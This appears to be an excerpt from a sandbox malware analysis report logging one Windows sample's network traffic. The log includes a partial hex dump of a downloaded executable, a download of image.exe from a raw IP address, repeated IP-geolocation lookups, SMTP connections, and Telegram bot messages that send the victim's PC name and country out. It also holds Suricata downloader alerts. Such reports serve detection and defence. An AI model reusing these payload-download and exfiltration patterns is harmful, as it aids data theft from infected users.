HTTP traffic detected: HTTP/1.1 200 OKContent-Type: application/octet-streamLast-Modified: Sun, 05 Jan 2025 22:54:23 GMTAccept-Ranges: bytesETag: "185c71c3c45fdb1:0"Server: Microsoft-IIS/8.5Date: Mon, 06 Jan 2025 06:54:02 GMTContent-Length: 1161216Data Raw: 4d 5a 50 00 02 00 00 00 04 00 0f 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 ba 10 00 0e 1f b4 09 cd 21 b8 01 4c cd 21 90 90 54 68 69 73 20 70 72 6f 67 72 61 6d 20 6d 75 73 74 20 62 65 20 72 75 6e 20 75 6e 64 65 72 20 57 69 6e 33 32 0d 0a 24 37 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 09 00 19 5e 42 2a 00 00 00 00 00 00 00 00 e0 00 8e 81 0b 01 02 19 00 d0 06 00 00 e4 0a 00 00 00 00 00 0c e8 06 00 00 10 00 00 00 f0 06 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 40 12 00 00 04 00 00 00 00 00 00 02 00 00 00 00 00 10 00 00 40 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 50 07 00 6e 26 00 00 00 20 08 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 07 00 e8 7c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 90 07 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 54 57 07 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 c0 c4 06 00 00 10 00 00 00 c6 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 69 74 65 78 74 00 00 48 08 00 00 00 e0 06 00 00 0a 00 00 00 ca 06 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 40 1f 00 00 00 f0 06 00 00 20 00 00 00 d4 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 62 73 73 00 00 00 00 ec 36 00 00 00 10 07 00 00 00 00 00 00 f4 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 2e 69 64 61 74 61 00 00 6e 26 00 00 00 50 07 00 00 28 00 00 00 f4 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 74 6c 73 00 00 00 00 34 00 00 00 00 80 07 00 00 00 00 00 00 1c 07 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 2e 72 64 61 74 61 00 00 18 00 00 00 00 90 07 00 00 02 00 00 00 1c 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 e8 7c 00 00 00 a0 07 00 00 7e 00 00 00 1e 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 2e 72 73 72 63 00 00 00 00 1c 0a 00 00 20 08 00 00 1c 0a 00 00 9c 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 40 12 00 00 00 00 00 00 b8 11 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 0

Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:675052%0D%0ADate%20and%20Time:%2006/01/2025%20/%2013:18:56%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20675052%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:675052%0D%0ADate%20and%20Time:%2006/01/2025%20/%2014:18:23%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20675052%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:675052%0D%0ADate%20and%20Time:%2006/01/2025%20/%2014:38:51%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20675052%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive

Source: Joe Sandbox View

IP Address: 132.226.8.169 132.226.8.169

Source: Joe Sandbox View	ASN Name: AS-26496-GO-DADDY-COM-LLCUS AS-26496-GO-DADDY-COM-LLCUS
Source: Joe Sandbox View	ASN Name: PUBLIC-DOMAIN-REGISTRYUS PUBLIC-DOMAIN-REGISTRYUS

Source: Joe Sandbox View	JA3 fingerprint: 54328bd36c14bd82ddaa0c04b25ed9ad
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown	DNS query: name: checkip.dyndns.org
Source: unknown	DNS query: name: reallyfreegeoip.org

Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.5:49731 -> 132.226.8.169:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.5:49736 -> 132.226.8.169:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.5:53584 -> 132.226.8.169:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.5:49723 -> 132.226.8.169:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.5:53650 -> 132.226.8.169:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.5:53671 -> 132.226.8.169:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.5:53683 -> 132.226.8.169:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.5:53694 -> 132.226.8.169:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.5:53623 -> 132.226.8.169:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.5:53662 -> 132.226.8.169:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.5:53738 -> 132.226.8.169:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.5:53709 -> 132.226.8.169:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.5:53724 -> 132.226.8.169:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.5:53711 -> 132.226.8.169:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.5:53681 -> 132.226.8.169:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49730 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49733 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:53624 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:53705 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:53731 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:53612 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:53716 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:53644 -> 188.114.97.3:443

Source: global traffic

TCP traffic: 192.168.2.5:53704 -> 208.91.198.176:587

Source: global traffic	HTTP traffic detected: GET /image.exe HTTP/1.1Connection: Keep-AliveAccept: /Accept-Language: en-chUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: 147.124.216.113
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive

Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49726 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:53636 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:53696 version: TLS 1.0

Source: unknown	TCP traffic detected without corresponding DNS query: 147.124.216.113
Source: unknown	TCP traffic detected without corresponding DNS query: 147.124.216.113
Source: unknown	TCP traffic detected without corresponding DNS query: 147.124.216.113
Source: unknown	TCP traffic detected without corresponding DNS query: 147.124.216.113
Source: unknown	TCP traffic detected without corresponding DNS query: 147.124.216.113
Source: unknown	TCP traffic detected without corresponding DNS query: 147.124.216.113
Source: unknown	TCP traffic detected without corresponding DNS query: 147.124.216.113
Source: unknown	TCP traffic detected without corresponding DNS query: 147.124.216.113
Source: unknown	TCP traffic detected without corresponding DNS query: 147.124.216.113
Source: unknown	TCP traffic detected without corresponding DNS query: 147.124.216.113
Source: unknown	TCP traffic detected without corresponding DNS query: 147.124.216.113
Source: unknown	TCP traffic detected without corresponding DNS query: 147.124.216.113
Source: unknown	TCP traffic detected without corresponding DNS query: 147.124.216.113
Source: unknown	TCP traffic detected without corresponding DNS query: 147.124.216.113
Source: unknown	TCP traffic detected without corresponding DNS query: 147.124.216.113
Source: unknown	TCP traffic detected without corresponding DNS query: 147.124.216.113
Source: unknown	TCP traffic detected without corresponding DNS query: 147.124.216.113
Source: unknown	TCP traffic detected without corresponding DNS query: 147.124.216.113
Source: unknown	TCP traffic detected without corresponding DNS query: 147.124.216.113
Source: unknown	TCP traffic detected without corresponding DNS query: 147.124.216.113
Source: unknown	TCP traffic detected without corresponding DNS query: 147.124.216.113
Source: unknown	TCP traffic detected without corresponding DNS query: 147.124.216.113
Source: unknown	TCP traffic detected without corresponding DNS query: 147.124.216.113
Source: unknown	TCP traffic detected without corresponding DNS query: 147.124.216.113
Source: unknown	TCP traffic detected without corresponding DNS query: 147.124.216.113
Source: unknown	TCP traffic detected without corresponding DNS query: 147.124.216.113
Source: unknown	TCP traffic detected without corresponding DNS query: 147.124.216.113
Source: unknown	TCP traffic detected without corresponding DNS query: 147.124.216.113
Source: unknown	TCP traffic detected without corresponding DNS query: 147.124.216.113
Source: unknown	TCP traffic detected without corresponding DNS query: 147.124.216.113
Source: unknown	TCP traffic detected without corresponding DNS query: 147.124.216.113
Source: unknown	TCP traffic detected without corresponding DNS query: 147.124.216.113
Source: unknown	TCP traffic detected without corresponding DNS query: 147.124.216.113
Source: unknown	TCP traffic detected without corresponding DNS query: 147.124.216.113
Source: unknown	TCP traffic detected without corresponding DNS query: 147.124.216.113
Source: unknown	TCP traffic detected without corresponding DNS query: 147.124.216.113
Source: unknown	TCP traffic detected without corresponding DNS query: 147.124.216.113
Source: unknown	TCP traffic detected without corresponding DNS query: 147.124.216.113
Source: unknown	TCP traffic detected without corresponding DNS query: 147.124.216.113
Source: unknown	TCP traffic detected without corresponding DNS query: 147.124.216.113
Source: unknown	TCP traffic detected without corresponding DNS query: 147.124.216.113
Source: unknown	TCP traffic detected without corresponding DNS query: 147.124.216.113
Source: unknown	TCP traffic detected without corresponding DNS query: 147.124.216.113
Source: unknown	TCP traffic detected without corresponding DNS query: 147.124.216.113
Source: unknown	TCP traffic detected without corresponding DNS query: 147.124.216.113
Source: unknown	TCP traffic detected without corresponding DNS query: 147.124.216.113
Source: unknown	TCP traffic detected without corresponding DNS query: 147.124.216.113
Source: unknown	TCP traffic detected without corresponding DNS query: 147.124.216.113
Source: unknown	TCP traffic detected without corresponding DNS query: 147.124.216.113
Source: unknown	TCP traffic detected without corresponding DNS query: 147.124.216.113

Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:675052%0D%0ADate%20and%20Time:%2006/01/2025%20/%2013:18:56%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20675052%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:675052%0D%0ADate%20and%20Time:%2006/01/2025%20/%2014:18:23%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20675052%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:675052%0D%0ADate%20and%20Time:%2006/01/2025%20/%2014:38:51%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20675052%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image.exe HTTP/1.1Connection: Keep-AliveAccept: /Accept-Language: en-chUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: 147.124.216.113
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
